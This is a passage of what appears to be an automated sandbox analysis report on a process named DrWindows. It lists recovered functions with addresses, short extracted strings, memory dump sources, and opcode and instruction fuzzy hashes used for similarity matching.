Download Yara Rule

Strings

(,"-, xrefs: 0240AAA3
&$(-, xrefs: 0240AAAB

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: &$(-$(,"-
API String ID: 0-2940422652
Opcode ID: 842e3b4bad717ffb86fa21b0642b285fa84ec43394ca04797a762ceea37fb35b
Instruction ID: 3b60c791aea0d05c82b73fa14acba38bed6ace5235bcdbec7bc3dbc4882f5288
Opcode Fuzzy Hash: 842e3b4bad717ffb86fa21b0642b285fa84ec43394ca04797a762ceea37fb35b
Instruction Fuzzy Hash: B271337110C3928FC7159F2984D077BBFE29FA2244F1849BEE4D59B382E735864AC722

Function 0241744B Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

^Q, xrefs: 024175F2
WL, xrefs: 024175E4

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: WL$^Q
API String ID: 0-3314944629
Opcode ID: 39c2ac511a26c96603a8ea1266b8364cfcb07b1f840c5a132bc7201a9c811535
Instruction ID: eab4a12b233b454e06a2415a11ae8da3ff0ceb2c90988e33bb06cb6697a01b6f
Opcode Fuzzy Hash: 39c2ac511a26c96603a8ea1266b8364cfcb07b1f840c5a132bc7201a9c811535
Instruction Fuzzy Hash: 84A1AAB01017018FD724CF29C4A1B62BBB2FF46324F19868DC8968FBA6D779E454CB94

Function 0241D3B7 Relevance: 2.8, Strings: 2, Instructions: 254COMMON

Download Yara Rule

Strings

%, xrefs: 0241D4EF
BzJ, xrefs: 0241D444

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: %$BzJ
API String ID: 0-1159491165
Opcode ID: d093ead5f440c0ce0cf45ad770d70abe8c25709234a58340c5c9410264e2b7b1
Instruction ID: 9e0da9d862a756a42924dde6388079aa666a1a6cafdb58fbb1cc7e7ac7e9269d
Opcode Fuzzy Hash: d093ead5f440c0ce0cf45ad770d70abe8c25709234a58340c5c9410264e2b7b1
Instruction Fuzzy Hash: E45108B150C392DBD7099B3994617B7BFE29FA3309F28045DE0D187293DB26850BCB66

Function 0241EA01 Relevance: 2.7, Strings: 2, Instructions: 183COMMON

Download Yara Rule

Strings

pr, xrefs: 0241EA81
|~, xrefs: 0241EA79

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: d0666fa2475e7b46a11fce7a2570a3b463275d60f80966df0a02fb85f38d869b
Instruction ID: decdc85f2633c958700ce03880b024518c33ecc22681f4c0c6f5239ca0867587
Opcode Fuzzy Hash: d0666fa2475e7b46a11fce7a2570a3b463275d60f80966df0a02fb85f38d869b
Instruction Fuzzy Hash: 2551DE7420C3118BD710DF24C86276BBBF2EF82354F18995DE8859B391E7399542C75A

Function 02426CF3 Relevance: 2.7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

BLJB, xrefs: 02426EC3
X, xrefs: 02426ED9

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: BLJB$X
API String ID: 0-2222927247
Opcode ID: ac9e8c3f634520fe3fbb91f81315b72cd992e381b494ebd248a50424fa88b03c
Instruction ID: 571229b0081feab2f3150113eb007f8fccc1fd0d2e1a797f25324ec8dfd6dbdf
Opcode Fuzzy Hash: ac9e8c3f634520fe3fbb91f81315b72cd992e381b494ebd248a50424fa88b03c
Instruction Fuzzy Hash: 945176716183AA8BD730CA6AC4612EBBBEADF51300F8A496FC4D587382E334D149D742

Function 02428FC2 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

H.s , xrefs: 0242904F
ij, xrefs: 02429042

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: H.s $ij
API String ID: 0-4017226643
Opcode ID: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction ID: 09a0f2aae2736ed8eb43c36df9f09bda3e09406c1c1dcfe6b81a58ddfe315377
Opcode Fuzzy Hash: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction Fuzzy Hash: 8331ADB660D3908FD314CF65948125FBBE2EBC6304F55892DE5856B341CBB4990ACF46

Function 0244D4AF Relevance: 2.3, Strings: 1, Instructions: 1066COMMON

Download Yara Rule

Strings

@, xrefs: 0244D5AE

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 7d58ce99e14cd4456ae23e5809613514da7f6838dea5dcaaa26db1aac14b0b8b
Instruction ID: 2f5988c84e163318b3793e5684fec3e589d1e1dcf734dfc02b274c82e6764b3e
Opcode Fuzzy Hash: 7d58ce99e14cd4456ae23e5809613514da7f6838dea5dcaaa26db1aac14b0b8b
Instruction Fuzzy Hash: C2729430A18B498BEB69DF28C8857BA73E1FB98715F54462ED88BC7241DF34E542CB41

Function 0243926F Relevance: 1.7, Strings: 1, Instructions: 497COMMON

Download Yara Rule

Strings

cba`, xrefs: 0243930A

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 390b1c41a7316b54254c3bd57f8057e8fde051eac21b580bcbd860f2fdaa4491
Instruction ID: 185f657408d247d9d0620f1af62dcaec13cb7964c151a327c4c539b8f391d0a2
Opcode Fuzzy Hash: 390b1c41a7316b54254c3bd57f8057e8fde051eac21b580bcbd860f2fdaa4491
Instruction Fuzzy Hash: 9FC168729083209BD326EF11C8C0A6BB793EBDD714F09862DE99957351E7B0AC45CBD1

Function 0242D949 Relevance: 1.7, Strings: 1, Instructions: 461COMMON

Download Yara Rule

Strings

x, xrefs: 0242DC61

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: 1e1f15646570d9ce9212783dfeec67076b8797ad3caab33dbdc9674b82081625
Instruction ID: 5b1b896372601486ca99380601be2747d6f7798029f2e797282454296c7ff7d5
Opcode Fuzzy Hash: 1e1f15646570d9ce9212783dfeec67076b8797ad3caab33dbdc9674b82081625
Instruction Fuzzy Hash: 0DD1D36160C7D08ED7358F2A84607ABBFE1AFD7304F4845ADD0C99B286DB79850ACB17

Function 0242D942 Relevance: 1.7, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

x, xrefs: 0242DC61

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: 15d69356ff4da26a2a5163f93f2d9066953f41fd3b03200dd1dabb71025238d6
Instruction ID: a99a4d44e112630fefa867a7b908ba88a2ce2f1e607e41e348ab99cb211a66d5
Opcode Fuzzy Hash: 15d69356ff4da26a2a5163f93f2d9066953f41fd3b03200dd1dabb71025238d6
Instruction Fuzzy Hash: 4FD10861A0C7D18ED7398B3A84A03ABBFD1AFA7344F4845AEC4D58B382D775840AC753

Function 0242BF9F Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0242C287

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 93a8a583c8653744572aea6b335ab7332254ba0a52db057b1ea6883848b7a8e1
Instruction ID: da2762cf15de110aba2611250e3fcae4f63546a860a25f9d0386f548abc42c42
Opcode Fuzzy Hash: 93a8a583c8653744572aea6b335ab7332254ba0a52db057b1ea6883848b7a8e1
Instruction Fuzzy Hash: 62C14872A043245BD715CE26C4D076FB7DAAF84214F8A892FE8958B381DB74D84DCB92

Function 0243FFFF Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

UVW(, xrefs: 024400C5, 02440170

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: UVW(
API String ID: 0-1978208743
Opcode ID: dd16e488049322132bf16e6048c65d62da1653852a5ec1259b10bf9f1f01e50d
Instruction ID: 812457a2465044f036cb4ea1e09c7e859180219b44d10e176e749ef08dd7a55d
Opcode Fuzzy Hash: dd16e488049322132bf16e6048c65d62da1653852a5ec1259b10bf9f1f01e50d
Instruction Fuzzy Hash: 21B145717483404BD328CF29C8D0A3BBBE6EBD5218F1C953DEA858B392CA35DC458792

Function 024163AF Relevance: 1.6, Strings: 1, Instructions: 336COMMON

Download Yara Rule

Strings

K%, xrefs: 02416637

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: K%
API String ID: 0-424693878
Opcode ID: 57fad6c848b2897c8966113cdc540e27fe3c097afd33448bf4bbbf9ac04d617c
Instruction ID: ed3f1890f04b856d927daa420aace87b1a0a8f4c443269e9a58b04ac73ad2373
Opcode Fuzzy Hash: 57fad6c848b2897c8966113cdc540e27fe3c097afd33448bf4bbbf9ac04d617c
Instruction Fuzzy Hash: D591E0716143158BCB149F28CCA23ABB3E5FF85324F094A2DE8968B391F7B8D645C395

Function 0242384F Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

x%, xrefs: 024239EC

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: x%
API String ID: 0-3980080454
Opcode ID: a01dfa16a8b20c55c8174cd62e47e90e1df879f9ca53f9904fc113cbc39d0bce
Instruction ID: d619ec1e27afa324ebc8c077e62a785cd94dbebe16a25277800a1ec380eddc07
Opcode Fuzzy Hash: a01dfa16a8b20c55c8174cd62e47e90e1df879f9ca53f9904fc113cbc39d0bce
Instruction Fuzzy Hash: FBA147B1A043109BCB10EF25CC9176B7BF5EF85358F0849ADE9869B381E778E909C752

Function 024365BC Relevance: 1.6, Strings: 1, Instructions: 311COMMON

Download Yara Rule

Strings

cba`, xrefs: 024368FC

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 8fbe73dcf412b12f57829113e19ffcfec5e1d2d8323cf8c7347023c5606626f9
Instruction ID: fecd47811b3a7b8652ea310d6f9d996f2db2cce68b4956cabd7782bb1762466d
Opcode Fuzzy Hash: 8fbe73dcf412b12f57829113e19ffcfec5e1d2d8323cf8c7347023c5606626f9
Instruction Fuzzy Hash: 52E1D421908BD18ED336CA3CC804357BFE15B5A324F09CB9DC4EA5B7D2C279A945C765

Function 0241E4C9 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

^@, xrefs: 0241E64D

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: ^@
API String ID: 0-1015691136
Opcode ID: 703dd625fb3eb8638aa44194967a27a36d87c0cb45f6d60d58a93a7552ea481a
Instruction ID: 8ca6b3b91f9bcd9ab017567468fdae99819c137ed9592292391682418a9fcfa8
Opcode Fuzzy Hash: 703dd625fb3eb8638aa44194967a27a36d87c0cb45f6d60d58a93a7552ea481a
Instruction Fuzzy Hash: 8F71BBBA6483108BD324CF59C49222BB7F2FFC5714F09981DE8D99B390E7788901C79A

Function 02431B3F Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

0, xrefs: 02431BC0

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 0a169f153f05d81556b97ec1d982402f44b1193e7a5d9548232ad9bc2a2d11b7
Instruction ID: d35e60558f0635494f366a909995787abbe2e41e652bbd29cadad5f70bd94bba
Opcode Fuzzy Hash: 0a169f153f05d81556b97ec1d982402f44b1193e7a5d9548232ad9bc2a2d11b7
Instruction Fuzzy Hash: A5912A37618A9007C71D5D7C4C662BA7A934B9B230F1E837EF9BACB3E1D56988068350

Function 0241ED8F Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

~, xrefs: 0241EE5A

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 46efde5ec243ff31757145df7800ed16f59a6e8f5bc3fb11969b070c489e21c1
Instruction ID: 6ba9f47623610d8dd300eea425ae9e6537350ecff249b79e84225eec1a61303c
Opcode Fuzzy Hash: 46efde5ec243ff31757145df7800ed16f59a6e8f5bc3fb11969b070c489e21c1
Instruction Fuzzy Hash: FB814A76A042614FC725CE28C8503ABBBD1AB85264F19C63EECB99B3C1C7348846D7D1

Function 024077CF Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 02407905

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 7fae2f255a8fd2d56763f8beb58fcdc8fb186e5576eac22f9c3d66becbf538f0
Instruction ID: 21c1cce0534478d83411a3f89fe81dfd2041862e2f58e47ceee72c081098a79d
Opcode Fuzzy Hash: 7fae2f255a8fd2d56763f8beb58fcdc8fb186e5576eac22f9c3d66becbf538f0
Instruction Fuzzy Hash: 7DB13B715093819FD321CF29C88061BFBE0AFA9704F444E2EE5D597782D631E958CBA7

Function 0243B99F Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

cba`, xrefs: 0243BB4E

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 5bfc13a4f1ebcdf9f7087b0274e306544a22bf91cd1d1114794808280dca59c4
Instruction ID: fc2002f740e114b49417c663aed8658da672ee1ef142127b67845299b3dca933
Opcode Fuzzy Hash: 5bfc13a4f1ebcdf9f7087b0274e306544a22bf91cd1d1114794808280dca59c4
Instruction Fuzzy Hash: CE714875A087049FD719AF28C8D1B7BBBA2EB89318F19453ED497877A1DB309801CB42

Function 0242BA6F Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

", xrefs: 0242BCB5

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 1bde58d3ad00dbcf7b211c85afe0c87ae7ec8536041c5ee7d742fbdcfbaf8b1e
Instruction ID: ae7cf8765c675c0126c6d447afb2f44305e3095583753d08f7640b84d550cdf8
Opcode Fuzzy Hash: 1bde58d3ad00dbcf7b211c85afe0c87ae7ec8536041c5ee7d742fbdcfbaf8b1e
Instruction Fuzzy Hash: BC71F9327047654BD720992F888031BB7D2DBC5338F99972EE8B58B3D5DB708C4A8740

Function 0242C43F Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0242C63D

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: e22a817bc0c9df694a67e0f8eeaebc4f9306f654f8c31947d74152d78d2cad05
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 9171D232A083354BD714CE2AC5C032FB7E2ABC5A14F9A952FE4949B391D375DC8D8786

Function 0241703F Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

gfff, xrefs: 0241719B

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: df3486ea6ce374cbab1a355fa8c0bcb8891097882d2e955b6d2f4dd9a89755e4
Instruction ID: a939a6dacf3e1cfca99391c7beb065a722b70dddc108fa3a7c9456ad310c5a17
Opcode Fuzzy Hash: df3486ea6ce374cbab1a355fa8c0bcb8891097882d2e955b6d2f4dd9a89755e4
Instruction Fuzzy Hash: 0F71D2756007018BE729CF29C891B67B7E3FB95314F08866ED496CB396DB35E842CB84

Function 0242D3FC Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

`pd-, xrefs: 0242D521

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: `pd-
API String ID: 0-182301337
Opcode ID: 9fd9b3443b4bfd28b906a55a44398140cd35040c59f2bbb82a929027d4ae9b81
Instruction ID: eff111d17f00e8bf5e29decbec3e7fdd68f0dffb90d299f5f99fa3d98459bbfd
Opcode Fuzzy Hash: 9fd9b3443b4bfd28b906a55a44398140cd35040c59f2bbb82a929027d4ae9b81
Instruction Fuzzy Hash: DC51033160C3918EE729CF2688507ABBBE2AFD3214F98495DC4C59B392DB75844ACB53

Function 0240A15F Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

YO9W, xrefs: 0240A191

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: YO9W
API String ID: 0-386669604
Opcode ID: d9ddc609b14cced71e4eb2a37c6766bd0f2c12ec3238c0d29d7777ed79e2d9d6
Instruction ID: 38bcadb47cc29162e080f86fea831bde1d97016d398fa445552ecfc927bb5abb
Opcode Fuzzy Hash: d9ddc609b14cced71e4eb2a37c6766bd0f2c12ec3238c0d29d7777ed79e2d9d6
Instruction Fuzzy Hash: 29315977F5072407C31C7ABACC8536AB6874BC8614F0E863E9E99AB381F9B58C4846D5

Function 0242CE2A Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

CUUI, xrefs: 0242CEF7

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: CUUI
API String ID: 0-173970609
Opcode ID: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction ID: 2863f198d49ddb1f067d4e6c92fb2061dafce0c50067333ca452c38c45ab12ad
Opcode Fuzzy Hash: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction Fuzzy Hash: 99410AA110C3E08EDB358F25C4903ABBBE29FC3204F5984AEC6CA67643C7754506CB57

Function 0243F53F Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 0243F5A8

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0add5edc2fe4ba8e7198efdaad5f66b73dd69cb62a978ec358aee3f8c8cd07dc
Instruction ID: fa69515e59ae85b51493d2ae49d3d4b470efa749511ba2ca975941286a7e8841
Opcode Fuzzy Hash: 0add5edc2fe4ba8e7198efdaad5f66b73dd69cb62a978ec358aee3f8c8cd07dc
Instruction Fuzzy Hash: B43121715083049FC314DF18D8D0A2BBBF8FFAA714F05892EE689872A1D331990CCB96

Function 02426B9F Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 02426C25

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 76e458a36bff66922da3c490014485b59f34d80a5a740ae80fc8c4929bf48c30
Instruction ID: 415ea7a8637f0d2319f843a6f42f160a04454cad70fa1cf5355446fa1be4cb24
Opcode Fuzzy Hash: 76e458a36bff66922da3c490014485b59f34d80a5a740ae80fc8c4929bf48c30
Instruction Fuzzy Hash: 32112B36A4472047C324DE2ACDC162776EAEB85214F16273DD8F4D73A1E264DC049695

Function 0240B62F Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

\U^_, xrefs: 0240B654

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: d0ff54ffa57eb96760b6399d66d11657a952d0599a8a54225d3febd84a2892ec
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: 2511083060C3804FD3249F3499946ABB7A5DFD7744F544A2CE4C567340C735940A8F5A

Function 024274C1 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

cba`, xrefs: 024275BF

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 3f1ed80bc7704c48a9f7c8197da8e09cae885cf60bdc93cafa5ad6842ca203a6
Instruction ID: 2220f503d1323778e007cb9a64405568cb0059a1ef6f1a9b07a2f1b0b4baff27
Opcode Fuzzy Hash: 3f1ed80bc7704c48a9f7c8197da8e09cae885cf60bdc93cafa5ad6842ca203a6
Instruction Fuzzy Hash: A41148759443609BD718DF12C8E167BFBA6EB86301F85683EE48257721D370D984CF46

Function 0242755F Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

cba`, xrefs: 024275BF

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: 83ac883c9d7778016cf13d187acf9954470bb84e3e7c943eb0423a268a630b86
Instruction ID: c7f99cd5eff712f2e6a4040465433879da063dc6b9173c66b0542b07b4531693
Opcode Fuzzy Hash: 83ac883c9d7778016cf13d187acf9954470bb84e3e7c943eb0423a268a630b86
Instruction Fuzzy Hash: 8001D6369483509BD714CF12C5D027BBBE2AB96301F45652DD48257661D370D945CB86

Function 02412945 Relevance: .9, Instructions: 882COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c80928764a69efb3c24b67ab7a042b867d94045ec55ce619b3bef6e9d9a5215
Instruction ID: fedf17b329ee22cba619587c93f35ad4202f89434df0012662fb5386af5cd345
Opcode Fuzzy Hash: 4c80928764a69efb3c24b67ab7a042b867d94045ec55ce619b3bef6e9d9a5215
Instruction Fuzzy Hash: 9872B171A04B408FD715DF38C89535ABFE2AB85310F098A7ED9EBCB791E635A445CB02

Function 02407FFF Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55742de4044c27391ea92b1462ef5243d561474e095cc6f8668b73f9f426c153
Instruction ID: 390d4a4486a6f02d0b6f52a7717a5af617eb1ac06ca992921645447743db6947
Opcode Fuzzy Hash: 55742de4044c27391ea92b1462ef5243d561474e095cc6f8668b73f9f426c153
Instruction Fuzzy Hash: 9E52BFB0908B849FEB35CB24C6C47A7BBE1AB85314F14993EC5E606BC2D379A5C5CB05

Function 0242089F Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4bbca7605c98e1b6c9e6aef409a34f692d1b492f4abcb5f515763d830ea422
Instruction ID: be59d631bcc44516ad4bb2274ece197d7b4e143bdf26b857bb6db9848e33524d
Opcode Fuzzy Hash: 0d4bbca7605c98e1b6c9e6aef409a34f692d1b492f4abcb5f515763d830ea422
Instruction Fuzzy Hash: 50626AB0608B808ED326CF3C8855797BFE5AB5A314F044A5EE0EE973D2C7766501CB66

Function 02408DDF Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

